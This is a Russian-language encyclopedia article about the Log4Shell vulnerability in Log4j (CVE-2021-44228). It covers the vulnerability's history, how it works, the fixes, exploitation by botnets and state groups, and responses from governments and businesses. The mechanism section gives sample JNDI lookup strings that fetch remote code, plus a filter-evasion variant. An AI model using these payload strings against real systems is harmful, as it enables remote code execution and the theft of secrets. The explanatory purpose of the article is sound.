Это не официальный сайт wikipedia.org 01.01.2023

Log4Shell — Википедия
Википедия

Log4Shell

Log4Shell (CVE-2021-44228) — это уязвимость нулевого дня в Log4j, популярной среде ведения журналов Java, включающая выполнение произвольного кода.[1][2] Уязвимость — её существование не было замечено с 2013 года — была раскрыта в частном порядке Apache Software Foundation, проектом которой является Log4j, Чен Чжаоцзюнь из группы безопасности Alibaba Cloud 24 ноября 2021 года и публично раскрыта 9 декабря 2021 года.[3][4][5][6] Apache дал Log4Shell оценку серьезности CVSS 10, наивысшую доступную оценку.[7] Подсчитано, что эксплойт затрагивает сотни миллионов устройств и очень прост в использовании.[8][9]

Уязвимость использует то, что Log4j разрешает запросы к произвольным серверам LDAP и JNDI, а не проверяет ответы,[1][10][11] позволяя злоумышленникам выполнять произвольный код Java на сервере или другом компьютере или передавать конфиденциальную информацию.[5] Список уязвимых программных проектов был опубликован группой безопасности Apache.[12] Затронутые коммерческие службы включают Amazon Web Services,[13] Cloudflare, iCloud,[14] Minecraft: Java Edition,[15] Steam, Tencent QQ и многие другие.[10][16][17] По данным Wiz и EY, уязвимость затронула 93 % корпоративных облачных сред.[18]

Эксперты охарактеризовали Log4Shell как самую большую уязвимость за всю историю;[19] LunaSec охарактеризовала его как «проектный сбой катастрофических масштабов»,[5] Tenable сказал, что эксплойт был «самой большой и самой критической уязвимостью в истории»,[20] Ars Technica назвал его «возможно, самой серьезной уязвимостью за всю историю».[21] и The Washington Post заявили, что описания специалистов по безопасности «граничат с апокалипсисом».[19]

ПредысторияПравить

Log4j — это библиотека журналирования с открытым исходным кодом, которая позволяет разработчикам программного обеспечения регистрировать данные в своих приложениях. Эти данные могут включать пользовательский ввод.[22] Он повсеместно используется в приложениях Java, особенно в корпоративном программном обеспечении.[5] Первоначально написанный в 2001 году Чеки Гюльджю, теперь он является частью Apache Logging Services, проекта Apache Software Foundation .[23] Бывший член комиссии по кибербезопасности президента Барака Обамы Том Келлерманн охарактеризовал Apache как «одну из гигантских опор моста, который способствует соединительной ткани между мирами приложений и компьютерной средой».[24]

ПоведениеПравить

Интерфейс именования и каталогов Java (JNDI) позволяет выполнять поиск объектов Java во время выполнения программы с учетом пути к их данным. JNDI может использовать несколько интерфейсов каталогов, каждый из которых обеспечивает свою схему поиска файлов. Среди этих интерфейсов — облегченный протокол доступа к каталогам (LDAP), протокол, не связанный с Java[25] который извлекает данные объекта в виде URL-адреса с соответствующего сервера, локального или любого другого в Интернете.[26]

В конфигурации по умолчанию при регистрации строки Log4j 2 выполняет подстановку строк в выражениях вида ${prefix:name} .[26] Например, Text: ${java:version} можно преобразовать в Text: Java version 1.7.0_67; .[27] Среди распознанных выражений есть ${jndi:<lookup>} ; указав поиск через LDAP, произвольный URL-адрес может быть запрошен и загружен как данные объекта Java. ${jndi:ldap://example.com/file} загрузит данные с этого URL-адреса при подключении к Интернету. Вводя строку, которая регистрируется, злоумышленник может загрузить и выполнить вредоносный код, размещенный на общедоступном URL-адресе.[26] Даже если выполнение данных отключено, злоумышленник может получить данные, такие как секретные переменные среды, путем размещения их в URL-адресе, в котором они будут заменены и отправлены на сервер злоумышленника.[28][29] Помимо LDAP, другие потенциально используемые протоколы поиска JNDI включают его безопасный вариант LDAPS, Java Remote Method Invocation (RMI), систему доменных имен (DNS) и Internet Inter-ORB Protocol (IIOP).[30][31]

Поскольку HTTP- запросы часто регистрируются, распространенным вектором атаки является размещение вредоносной строки в URL-адресе HTTP-запроса или в часто регистрируемом HTTP-заголовке, таком как User-Agent . Ранние меры защиты включали блокировку любых запросов, содержащих потенциально вредоносное содержимое, например ${jndi .[32] Наивный поиск можно обойти, запутав запрос: например, ${${lower:j}ndi будет преобразован в поиск JNDI после выполнения строчной операции над буквой j .[33] Даже если ввод, такой как имя, не регистрируется сразу, он может быть позже записан во время внутренней обработки и его содержимое будет выполнено.[26]

ИсправленияПравить

Исправления для этой уязвимости были выпущены 6 декабря 2021 года, за три дня до публикации уязвимости, в Log4j версии 2.15.0-rc1.[34][35][36] Исправление включало ограничение серверов и протоколов, которые могут использоваться для поиска. Исследователи обнаружили связанную ошибку CVE-2021-45046, которая допускает локальное или удаленное выполнение кода в определенных конфигурациях, отличных от настроек по умолчанию, и была исправлена в версии 2.16.0, которая отключила все функции с использованием JNDI и поддержку поиска сообщений.[37][38] Для предыдущих версий класс org.apache.logging.log4j.core.lookup. JndiLookup необходимо удалить из пути к классам, чтобы уменьшить обе уязвимости.[7][37] Ранее рекомендованное исправление для старых версий заключалось в установке для системного свойства log4j2.formatMsgNoLookups true, но это изменение не предотвращает использование CVE-2021-45046.[37]

Более новые версии Java Runtime Environment (JRE) также уменьшают эту уязвимость, блокируя загрузку удаленного кода по умолчанию, хотя в некоторых приложениях все еще существуют другие направления атак.[1][28][39][40] Было опубликовано несколько методов и инструментов, помогающих обнаружить использование уязвимых версий log4j во встроенных пакетах Java.[41]

ИспользованиеПравить

Эксплойт позволяет хакерам получить контроль над уязвимыми устройствами с помощью Java.[8] Некоторые хакеры используют уязвимость, чтобы использовать возможности устройств жертв; в том числе майнинг криптовалюты, создание ботнетов, рассылка спама, создание бэкдоров и другие незаконные действия, такие как атаки программ- вымогателей.[8][19][42] В течение нескольких дней после публикации уязвимости Check Point отслеживала миллионы атак, инициированных хакерами, при этом некоторые исследователи наблюдали скорость более ста атак в минуту, что в конечном итоге привело к более чем 40 % атак. бизнес-сетей, подвергающихся международным атакам.[8][24]

По словам генерального директора Cloudflare Мэтью Принса, доказательства использования или тестирования эксплойта появились еще 1 декабря, за девять дней до того, как он был публично раскрыт.[43] Согласно кибербезопасности фирмы GreyNoise, несколько IP — адреса были соскобы сайтов для проверки серверов, которые имеют уязвимость.[44] Несколько ботнетов начали сканирование на предмет уязвимости, включая ботнет Muhstik к 10 декабря, а также Mirai, Tsunami и XMRig.[8][43][45] Конти был замечен с использованием уязвимости 17 декабря.[19]

Некоторые спонсируемые государством группы в Китае и Иране также использовали эксплойт, согласно Check Point, хотя неизвестно, использовался ли эксплойт Израилем, Россией или США до раскрытия уязвимости.[19][46] Check Point заявила, что 15 декабря 2021 года хакеры, поддерживаемые Ираном, попытались проникнуть в сети предприятий и правительства Израиля.[19]

Ответ и влияниеПравить

ПравительственныйПравить

В Соединенных Штатах директор Агентства по кибербезопасности и безопасности инфраструктуры (CISA) Джен Истерли описала эксплойт как «один из самых серьезных, если не самый серьезный, который я видел за всю свою карьеру», объяснив, что сотни миллионов устройств были затронуты и рекомендовали поставщикам уделять приоритетное внимание обновлениям программного обеспечения.[8][47][48] Гражданские агентства, нанятые правительством США, должны были до 24 декабря 2021 года исправить уязвимости, хотя к тому времени это уже позволило бы получить доступ к сотням тысяч целей.[19]

Канадский центр кибербезопасности (CCCS) призвал организации принять немедленные меры.[49] Налоговое управление Канады временно отключило свои онлайн-сервисы после того, как узнало об эксплойте, в то время как правительство Квебека закрыло почти 4000 своих веб-сайтов в качестве «превентивной меры».[50]

Федеральное управление безопасности Германии (Bundesamt für Sicherheit in der Informationstechnik) (BSI) определило эксплойт как находящийся на самом высоком уровне угрозы, назвав его «чрезвычайно критической опасной ситуацией» (переведено). Он также сообщил, что несколько атак уже были успешными и что масштабы уязвимости по-прежнему трудно оценить.[51][52] Национальный центр кибербезопасности Нидерландов (NCSC) начал постоянный список уязвимых приложений.[53][54]

Министерство промышленности и информационных технологий Китая приостановило работу с Alibaba Cloud в качестве партнера по анализу угроз кибербезопасности на шесть месяцев из-за того, что не сообщило об уязвимости правительству первым.[55]

БизнесыПравить

Исследование, проведенное Wiz и EY[18] показало, что 93 % облачной корпоративной среды были уязвимы для Log4Shell. 7 % уязвимых рабочих нагрузок доступны в Интернете и подвержены широким попыткам эксплуатации. Согласно исследованию, через десять дней после публикации уязвимости (20 декабря 2021 года) только 45 % процентов уязвимых рабочих нагрузок были исправлены в среднем в облачных средах. Облачные данные Amazon, Google и Microsoft были затронуты Log4Shell.[19]

Компания по управлению персоналом и персоналом UKG, одна из крупнейших компаний в отрасли, подверглась атаке программ-вымогателей, затронувшей крупные предприятия.[21][56] UKG заявила, что у нее нет доказательств использования Log4Shell в инциденте, хотя аналитик Аллан Лиска из компании Recorded Future, занимающейся кибербезопасностью, сказал, что, возможно, существует связь.[57]

Поскольку более крупные компании начали выпускать исправления для эксплойта, риск для малого бизнеса увеличился, поскольку хакеры сосредоточились на более уязвимых целях.[42]

КонфиденциальностьПравить

Персональные устройства, такие как Smart TV и камеры видеонаблюдения, подключенные к Интернету, были уязвимы для эксплойта.[19]

АнализПравить

По состоянию на 14 декабря 2021 года почти половина всех корпоративных сетей в мире была активно исследована, и в течение суток было создано более 60 вариантов эксплойта.[58] Check Point Software Technologies в подробном анализе описала ситуацию как «настоящию киберпандемию» и охарактеризовала возможность нанесения ущерба как «неисчислимую».[59] В нескольких первоначальных рекомендаций было завышено количество уязвимых пакетов, что приводило к ложным срабатываниям. В частности пакет «log4j api» был отмечен как уязвимый, в то время как в действительности дальнейшие исследования показали, что уязвимым был только основной пакет «log4j-core».

Это было подтверждено как в исходной ветке выпуска[60], так и внешними исследователями безопасности.

Технологический журнал Wired написал, что, несмотря на предыдущую «шумиху» вокруг многочисленных уязвимостей, «шумиха вокруг уязвимости Log4j… оправдывает себя по целому ряду причин».[46] Журнал объясняет, что вездесущность log4j, уязвимость которой трудно обнаружить по потенциальным целям, и легкость передачи кода на компьютер жертвы создали «сочетание серьёзности, доступности и распространённости, которая потрясла специалистов по безопасности».[46] Wired также схематично представил последовательность использования Log4Shell хакерами: группы занимающиеся майнингом криптовалют первыми начнут эксплуатировать уязвимость, затем торговцы данными продадут «плацдарм» киберпреступникам, которые, наконец, займутся вымоганием, шпионажем и уничтожением данных.[46]

Амит Йоран, генеральный директор Tenable и директор-основатель группы готовности к компьютерным чрезвычайным ситуациям в США, заявил: «[Log4Shell], безусловно, самая большая и критическая уязвимость в истории», отметив, что изощренные атаки начались вскоре после ошибки, заявив: " Мы также уже видим, что он используется для атак программ-вымогателей, что, опять же, должно стать серьезным сигналом тревоги. . . . Мы также видели сообщения о злоумышленниках, использующих Log4Shell для уничтожения систем, даже не пытаясь получить выкуп, — довольно необычное поведение.".[46] Старший исследователь угроз Sophos Шон Галлахер сказал: "Честно говоря, самая большая угроза здесь заключается в том, что люди уже получили доступ и просто пользуются им, и даже если вы устраните проблему, кто-то уже находится в сети . . . Он будет существовать столько же, сколько и Интернет ".[20]

ПримечанияПравить

  1. ↑ 1 2 3 Wortley. Log4Shell: RCE 0-day exploit found in log4j 2, a popular Java logging package (англ.). LunaSec (9 декабря 2021). Дата обращения: 12 декабря 2021. Архивировано 25 декабря 2021 года.
  2. ↑ CVE-2021-44228  (неопр.). Common Vulnerabilities and Exposures. Дата обращения: 12 декабря 2021. Архивировано 25 декабря 2021 года.
  3. ↑ Povolny. Log4Shell Vulnerability is the Coal in our Stocking for 2021 (англ.). McAfee (10 декабря 2021). Дата обращения: 12 декабря 2021. Архивировано 24 декабря 2021 года.
  4. ↑ Worst Apache Log4j RCE Zero day Dropped on Internet  (неопр.). Cyber Kendra (9 декабря 2021). Дата обращения: 12 декабря 2021. Архивировано 24 декабря 2021 года.
  5. ↑ 1 2 3 4 Newman. 'The Internet Is on Fire' (англ.), Wired (10 December 2021). Архивировано 24 декабря 2021 года. Дата обращения: 12 декабря 2021.
  6. ↑ Murphy. Hackers launch more than 1.2m attacks through Log4J flaw, Financial Times (14 декабря 2021). Архивировано 17 декабря 2021 года. Дата обращения: 17 декабря 2021.
  7. ↑ 1 2 Apache Log4j Security Vulnerabilities  (неопр.). Log4j. Apache Software Foundation. Дата обращения: 12 декабря 2021. Архивировано 26 декабря 2021 года.
  8. ↑ 1 2 3 4 5 6 Murphy, Hannah. Hackers launch more than 1.2m attacks through Log4J flaw, Financial Times (14 декабря 2021). Архивировано 21 декабря 2021 года. Дата обращения: 25 декабря 2021.
  9. ↑ Hunter. The ‘most serious’ security breach ever is unfolding right now. Here’s what you need to know.  (неопр.) The Washington Post (20 декабря 2021). Дата обращения: 25 декабря 2021. Архивировано 27 декабря 2021 года.
  10. ↑ 1 2 Mott. Countless Servers Are Vulnerable to Apache Log4j Zero-Day Exploit (англ.). PC Magazine (10 декабря 2021). Дата обращения: 12 декабря 2021. Архивировано 24 декабря 2021 года.
  11. ↑ Goodin. Zero-day in ubiquitous Log4j tool poses a grave threat to the Internet (амер. англ.). Ars Technica (10 декабря 2021). Дата обращения: 12 декабря 2021. Архивировано 23 декабря 2021 года.
  12. ↑ Apache projects affected by log4j CVE-2021-44228  (неопр.) (14 декабря 2021). Дата обращения: 25 декабря 2021. Архивировано 17 декабря 2021 года.
  13. ↑ Update for Apache Log4j2 Issue (CVE-2021-44228)  (неопр.). Amazon Web Services (12 декабря 2021). Дата обращения: 13 декабря 2021. Архивировано 28 декабря 2021 года.
  14. ↑ Lovejoy. Apple patches Log4Shell iCloud vulnerability, described as most critical in a decade  (неопр.). 9to5mac (14 декабря 2021). Дата обращения: 25 декабря 2021. Архивировано 23 декабря 2021 года.
  15. ↑ Security Vulnerability in Minecraft: Java Edition  (неопр.). Minecraft. Mojang Studios. Дата обращения: 13 декабря 2021. Архивировано 24 декабря 2021 года.
  16. ↑ Goodin. The Internet's biggest players are all affected by critical Log4Shell 0-day  (неопр.). ArsTechnica (10 декабря 2021). Дата обращения: 13 декабря 2021. Архивировано 25 декабря 2021 года.
  17. ↑ Rundle. What Is the Log4j Vulnerability?  (неопр.) (15 декабря 2021). Дата обращения: 25 декабря 2021. Архивировано 25 декабря 2021 года.
  18. ↑ 1 2 Enterprises halfway through patching Log4Shell | Wiz Blog  (неопр.). www.wiz.io. Дата обращения: 20 декабря 2021. Архивировано 20 декабря 2021 года.
  19. ↑ 1 2 3 4 5 6 7 8 9 Hunter, Tatum; de Vynck, Gerrit The ‘most serious’ security breach ever is unfolding right now. Here’s what you need to know.  (неопр.) The Washington Post (20 декабря 2021). Дата обращения: 25 декабря 2021. Архивировано 27 декабря 2021 года.
  20. ↑ 1 2 Barrett. The Next Wave of Log4J Attacks Will Be Brutal (англ.), Wired. Архивировано 17 декабря 2021 года. Дата обращения: 17 декабря 2021.
  21. ↑ 1 2 Goodin. As Log4Shell wreaks havoc, payroll service reports ransomware attack (амер. англ.). Ars Technica (13 декабря 2021). Дата обращения: 17 декабря 2021. Архивировано 17 декабря 2021 года.
  22. ↑ Yan. Another Apache Log4j Vulnerability Is Actively Exploited in the Wild (CVE-2021-44228)  (неопр.). Unit 42. Palo Alto Networks (10 декабря 2021). Дата обращения: 25 декабря 2021. Архивировано 24 декабря 2021 года.
  23. ↑ Apache Log4j 2  (неопр.). Apache Software Foundation. Дата обращения: 12 декабря 2021. Архивировано 14 декабря 2021 года.
  24. ↑ 1 2 Byrnes. Hillicon Valley — Apache vulnerability sets off alarm bells (англ.). TheHill (14 декабря 2021). Дата обращения: 17 декабря 2021. Архивировано 17 декабря 2021 года.
  25. ↑ "". RFC rfc4511.
  26. ↑ 1 2 3 4 Graham-Cumming. Inside the Log4j2 vulnerability (CVE-2021-44228) (англ.). The Cloudflare Blog (10 декабря 2021). Дата обращения: 13 декабря 2021. Архивировано 22 декабря 2021 года.
  27. ↑ Lookups  (неопр.). Log4j. Apache Software Foundation. Дата обращения: 13 декабря 2021. Архивировано 25 декабря 2021 года.
  28. ↑ 1 2 Ducklin. Log4Shell explained – how it works, why you need to know, and how to fix it  (неопр.). Naked Security. Sophos (12 декабря 2021). Дата обращения: 12 декабря 2021. Архивировано 26 декабря 2021 года.
  29. ↑ Miessler. The log4j (Log4Shell) Situation  (неопр.). Unsupervised Learning (13 декабря 2021). Дата обращения: 25 декабря 2021. Архивировано 13 декабря 2021 года.
  30. ↑ Duraishamy. Patch Now Apache Log4j Vulnerability Called Log4Shell Actively Exploited  (неопр.). Trend Micro (13 декабря 2021). Дата обращения: 14 декабря 2021. Архивировано 20 декабря 2021 года.
  31. ↑ Narang. CVE-2021-44228: Proof-of-Concept for Critical Apache Log4j Remote Code Execution Vulnerability Available (Log4Shell)  (неопр.). Tenable Blog (10 декабря 2021). Дата обращения: 14 декабря 2021. Архивировано 20 декабря 2021 года.
  32. ↑ Gabor. CVE-2021-44228 - Log4j RCE 0-day mitigation  (неопр.). The Cloudflare Blog (10 декабря 2021). Дата обращения: 13 декабря 2021. Архивировано 23 декабря 2021 года.
  33. ↑ Hahad. Apache Log4j Vulnerability CVE-2021-44228 Raises widespread Concerns  (неопр.) (12 декабря 2021). Дата обращения: 12 декабря 2021. Архивировано 13 декабря 2021 года.
  34. ↑ Restrict LDAP access via JNDI by rgoers #608 (англ.). Log4j (5 декабря 2021). Дата обращения: 12 декабря 2021. Архивировано 30 декабря 2021 года.
  35. ↑ Berger. What is Log4Shell? The Log4j vulnerability explained (and what to do about it)  (неопр.). Dynatrace news (17 декабря 2021). — «Apache issued a patch for CVE-2021-44228, version 2.15, on December 6. However, this patch left part of the vulnerability unfixed, resulting in CVE-2021-45046 and a second patch, version 2.16, released on December 13. Apache released a third patch, version 2.17, on December 17 to fix another related vulnerability, CVE-2021-45105.». Дата обращения: 25 декабря 2021. Архивировано 21 декабря 2021 года.
  36. ↑ Rudis. Widespread Exploitation of Critical Remote Code Execution in Apache Log4j | Rapid7 Blog (англ.). Rapid7 (10 декабря 2021). Дата обращения: 25 декабря 2021. Архивировано 21 декабря 2021 года.
  37. ↑ 1 2 3 CVE-2021-45046  (неопр.). Common Vulnerabilities and Exposures (15 декабря 2021). Дата обращения: 15 декабря 2021. Архивировано 25 декабря 2021 года.
  38. ↑ Greig. Second Log4j vulnerability discovered, patch already released (англ.). ZDNet (14 декабря 2021). Дата обращения: 17 декабря 2021. Архивировано 27 декабря 2021 года.
  39. ↑ Java(TM) SE Development Kit 8, Update 121 (JDK 8u121) Release Notes (англ.). Oracle (17 января 2017). Дата обращения: 13 декабря 2021. Архивировано 19 декабря 2021 года.
  40. ↑ Exploiting JNDI Injections in Java  (неопр.). Veracode (3 января 2019). Дата обращения: 15 декабря 2021. Архивировано 15 декабря 2021 года.
  41. ↑ Guide: How To Detect and Mitigate the Log4Shell Vulnerability (CVE-2021-44228) (англ.). www.lunasec.io (13 декабря 2021). Дата обращения: 13 декабря 2021. Архивировано 24 декабря 2021 года.
  42. ↑ 1 2 Woodyard. 'Critical vulnerability': Smaller firms may find it harder to stop hackers from exploiting Log4j flaw (англ.). USA Today. Дата обращения: 17 декабря 2021.
  43. ↑ 1 2 Duckett. Log4j RCE activity began on 1 December as botnets start using vulnerability (англ.). ZDNet. Дата обращения: 13 декабря 2021. Архивировано 22 декабря 2021 года.
  44. ↑ Exploit activity for Apache Log4j vulnerability - CVE-2021-44228  (неопр.). Greynoise Research (10 декабря 2021). Дата обращения: 14 декабря 2021. Архивировано 20 декабря 2021 года.
  45. ↑ Zugec. Technical Advisory: Zero-day critical vulnerability in Log4j2 exploited in the wild  (неопр.). Business Insights. Bitdefender (13 декабря 2021). Дата обращения: 25 декабря 2021. Архивировано 15 декабря 2021 года.
  46. ↑ 1 2 3 4 5 Barrett, Brian. The Next Wave of Log4J Attacks Will Be Brutal (англ.), Wired. Архивировано 27 декабря 2021 года. Дата обращения: 25 декабря 2021.
  47. ↑ Statement from CISA Director Easterly on "Log4j" Vulnerability  (неопр.). CISA (11 декабря 2021). Дата обращения: 25 декабря 2021. Архивировано 27 декабря 2021 года.
  48. ↑ Woodyard, Chris 'Critical vulnerability': Smaller firms may find it harder to stop hackers from exploiting Log4j flaw (англ.). USA Today. Дата обращения: 17 декабря 2021.
  49. ↑ Statement from the Minister of National Defence on Apache Vulnerability and Call to Canadian Organizations to Take Urgent Action (англ.). Government of Canada (12 декабря 2021). Дата обращения: 25 декабря 2021. Архивировано 20 декабря 2021 года.
  50. ↑ Cabrera. Facing cybersecurity threats, Quebec shuts down government websites for evaluation, CBC News (12 December 2021). Архивировано 20 декабря 2021 года. Дата обращения: 12 декабря 2021.
  51. ↑ Sauerwein. BSI warnt vor Sicherheitslücke (нем.). Tagesschau (12 декабря 2021). Дата обращения: 25 декабря 2021. Архивировано 5 января 2022 года.
  52. ↑ (11 December 2021). Warnstufe Rot: Schwachstelle Log4Shell führt zu extrem kritischer Bedrohungslage (in de). Пресс-релиз. Архивировано из первоисточника 13 декабря 2021. Проверено 2021-12-25.
  53. ↑ J. Vaughan-Nichols. Log4Shell: We Are in So Much Trouble  (неопр.). The New Stack (14 декабря 2021). Дата обращения: 25 декабря 2021. Архивировано 23 декабря 2021 года.
  54. ↑ NCSC-NL/log4shell  (неопр.). National Cyber Security Centre (Netherlands). Дата обращения: 14 декабря 2021. Архивировано 29 декабря 2021 года.
  55. ↑ Apache Log4j bug: China’s industry ministry pulls support from Alibaba Cloud for not reporting flaw to government first  (неопр.). Дата обращения: 25 декабря 2021. Архивировано 25 декабря 2021 года.
  56. ↑ Bray. Emerging ‘Log4j’ software bug spawns worldwide worry over cyber attacks - The Boston Globe (англ.). The Boston Globe (15 декабря 2021). Дата обращения: 17 декабря 2021. Архивировано 17 декабря 2021 года.
  57. ↑ Bray, Hiawatha Emerging ‘Log4j’ software bug spawns worldwide worry over cyber attacks - The Boston Globe (англ.). The Boston Globe (15 декабря 2021). Дата обращения: 17 декабря 2021. Архивировано 17 декабря 2021 года.
  58. ↑ Almost half of networks probed for Log4Shell weaknesses  (неопр.). ComputerWeekly (14 декабря 2021). Дата обращения: 25 декабря 2021. Архивировано 20 декабря 2021 года.
  59. ↑ The numbers behind a cyber pandemic – detailed dive  (неопр.). Check Point Software (13 декабря 2021). Дата обращения: 25 декабря 2021. Архивировано 24 декабря 2021 года.
  60. ↑ LOG4J2-3201: Limit the protocols JNDI can use and restrict LDAP.  (неопр.) Apache's JIRA issue tracker. Дата обращения: 14 декабря 2021. Архивировано 25 декабря 2021 года.
Источник — https://ru.wikipedia.org/w/index.php?title=Log4Shell&oldid=127293350